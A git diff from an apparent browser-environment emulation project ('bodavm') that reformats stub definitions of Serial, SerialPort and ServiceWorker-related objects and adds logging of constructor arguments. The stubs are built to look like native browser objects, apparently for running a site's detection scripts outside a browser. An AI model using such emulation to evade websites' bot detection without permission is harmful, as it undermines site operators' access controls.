bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Serial', "getPorts", { + configurable: true, + enumerable: true, + writable: true, + value: function getPorts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "getPorts", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Serial', "requestPort", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "requestPort", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SerialPort.js b/env_xbb_lastest_jsdom/env/SerialPort.js index 10ac75a1..5a3dbb82 100644 --- a/env_xbb_lastest_jsdom/env/SerialPort.js +++ b/env_xbb_lastest_jsdom/env/SerialPort.js @@ -1,15 +1,103 @@ -// SerialPort对象 -bodavm.memory.globalobj['SerialPort'] = function SerialPort(){if (!(this instanceof SerialPort)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SerialPort'], "SerialPort"); -bodavm.memory.globalobj['SerialPort'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SerialPort'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SerialPort', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "writable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "forget", {configurable:true, enumerable:true, writable:true, value:function forget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "forget", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "getInfo", {configurable:true, enumerable:true, writable:true, value:function getInfo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getInfo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "getSignals", {configurable:true, enumerable:true, writable:true, value:function getSignals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getSignals", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "setSignals", {configurable:true, enumerable:true, writable:true, value:function setSignals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "setSignals", arguments)}},'prototype'); +// SerialPort对象 + +bodavm.memory.globalobj['SerialPort'] = function SerialPort() { + console.log_copy('SerialPort 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SerialPort)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SerialPort'], "SerialPort"); +bodavm.memory.globalobj['SerialPort'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SerialPort'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SerialPort', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "forget", { + configurable: true, + enumerable: true, + writable: true, + value: function forget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "forget", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "getInfo", { + configurable: true, + enumerable: true, + writable: true, + value: function getInfo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getInfo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "getSignals", { + configurable: true, + enumerable: true, + writable: true, + value: function getSignals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getSignals", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "setSignals", { + configurable: true, + enumerable: true, + writable: true, + value: function setSignals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "setSignals", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ServiceWorker.js b/env_xbb_lastest_jsdom/env/ServiceWorker.js index 67c35d5f..116c4c6e 100644 --- a/env_xbb_lastest_jsdom/env/ServiceWorker.js +++ b/env_xbb_lastest_jsdom/env/ServiceWorker.js @@ -1,10 +1,63 @@ -// ServiceWorker对象 -bodavm.memory.globalobj['ServiceWorker'] = function ServiceWorker(){if (!(this instanceof ServiceWorker)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorker'], "ServiceWorker"); -bodavm.memory.globalobj['ServiceWorker'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ServiceWorker'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ServiceWorker', "scriptURL", {configurable:true, enumerable:true, get:function scriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "scriptURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "postMessage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_set", arguments)}},'prototype'); +// ServiceWorker对象 + +bodavm.memory.globalobj['ServiceWorker'] = function ServiceWorker() { + console.log_copy('ServiceWorker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ServiceWorker)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorker'], "ServiceWorker"); +bodavm.memory.globalobj['ServiceWorker'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ServiceWorker'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ServiceWorker', "scriptURL", { + configurable: true, + enumerable: true, + get: function scriptURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "scriptURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "postMessage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ServiceWorkerContainer.js b/env_xbb_lastest_jsdom/env/ServiceWorkerContainer.js index c3019e31..ca26e000 100644 --- a/env_xbb_lastest_jsdom/env/ServiceWorkerContainer.js +++ b/env_xbb_lastest_jsdom/env/ServiceWorkerContainer.js @@ -1,14 +1,97 @@ -// ServiceWorkerContainer对象 -bodavm.memory.globalobj['ServiceWorkerContainer'] = function ServiceWorkerContainer(){if (!(this instanceof ServiceWorkerContainer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerContainer'], "ServiceWorkerContainer"); -bodavm.memory.globalobj['ServiceWorkerContainer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ServiceWorkerContainer'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "controller", {configurable:true, enumerable:true, get:function controller (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "controller_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "oncontrollerchange", {configurable:true, enumerable:true, get:function oncontrollerchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_get", arguments)}, set:function oncontrollerchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistration", {configurable:true, enumerable:true, writable:true, value:function getRegistration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistrations", {configurable:true, enumerable:true, writable:true, value:function getRegistrations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistrations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "register", {configurable:true, enumerable:true, writable:true, value:function register (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "register", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "startMessages", {configurable:true, enumerable:true, writable:true, value:function startMessages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "startMessages", arguments)}},'prototype'); +// ServiceWorkerContainer对象 + +bodavm.memory.globalobj['ServiceWorkerContainer'] = function ServiceWorkerContainer() { + console.log_copy('ServiceWorkerContainer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ServiceWorkerContainer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerContainer'], "ServiceWorkerContainer"); +bodavm.memory.globalobj['ServiceWorkerContainer'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ServiceWorkerContainer'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "controller", { + configurable: true, + enumerable: true, + get: function controller() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "controller_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "oncontrollerchange", { + configurable: true, + enumerable: true, + get: function oncontrollerchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_get", arguments); + }, + set: function oncontrollerchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistration", { + configurable: true, + enumerable: true, + writable: true, + value: function getRegistration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistrations", { + configurable: true, + enumerable: true, + writable: true, + value: function getRegistrations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistrations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "register", { + configurable: true, + enumerable: true, + writable: true, + value: function register() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "register", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "startMessages", { + configurable: true, + enumerable: true, + writable: true, + value: function startMessages() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "startMessages", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ServiceWorkerRegistration.js b/env_xbb_lastest_jsdom/env/ServiceWorkerRegistration.js index e9029cb8..f66bc783 100644 --- a/env_xbb_lastest_jsdom/env/ServiceWorkerRegistration.js +++ b/env_xbb_lastest_jsdom/env/ServiceWorkerRegistration.js @@ -1,22 +1,157 @@ -// ServiceWorkerRegistration对象 -bodavm.memory.globalobj['ServiceWorkerRegistration'] = function ServiceWorkerRegistration(){if (!(this instanceof ServiceWorkerRegistration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerRegistration'], "ServiceWorkerRegistration"); -bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ServiceWorkerRegistration'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "installing", {configurable:true, enumerable:true, get:function installing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "installing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "waiting", {configurable:true, enumerable:true, get:function waiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "waiting_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "active", {configurable:true, enumerable:true, get:function active (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "active_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "navigationPreload", {configurable:true, enumerable:true, get:function navigationPreload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "navigationPreload_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "scope", {configurable:true, enumerable:true, get:function scope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "scope_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "updateViaCache", {configurable:true, enumerable:true, get:function updateViaCache (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "updateViaCache_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "onupdatefound", {configurable:true, enumerable:true, get:function onupdatefound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_get", arguments)}, set:function onupdatefound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "unregister", {configurable:true, enumerable:true, writable:true, value:function unregister (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "unregister", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "update", {configurable:true, enumerable:true, writable:true, value:function update (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "update", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "paymentManager", {configurable:true, enumerable:true, get:function paymentManager (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "paymentManager_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "backgroundFetch", {configurable:true, enumerable:true, get:function backgroundFetch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "backgroundFetch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "periodicSync", {configurable:true, enumerable:true, get:function periodicSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "periodicSync_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "sync", {configurable:true, enumerable:true, get:function sync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "sync_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "cookies", {configurable:true, enumerable:true, get:function cookies (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "cookies_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "pushManager", {configurable:true, enumerable:true, get:function pushManager (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "pushManager_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "getNotifications", {configurable:true, enumerable:true, writable:true, value:function getNotifications (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "getNotifications", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "showNotification", {configurable:true, enumerable:true, writable:true, value:function showNotification (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "showNotification", arguments)}},'prototype'); +// ServiceWorkerRegistration对象 + +bodavm.memory.globalobj['ServiceWorkerRegistration'] = function ServiceWorkerRegistration() { + console.log_copy('ServiceWorkerRegistration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ServiceWorkerRegistration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerRegistration'], "ServiceWorkerRegistration"); +bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ServiceWorkerRegistration'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "installing", { + configurable: true, + enumerable: true, + get: function installing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "installing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "waiting", { + configurable: true, + enumerable: true, + get: function waiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "waiting_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "active", { + configurable: true, + enumerable: true, + get: function active() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "active_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "navigationPreload", { + configurable: true, + enumerable: true, + get: function navigationPreload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "navigationPreload_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "scope", { + configurable: true, + enumerable: true, + get: function scope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "scope_get", arguments); + }, + set: undefined +}, 'prototype'); 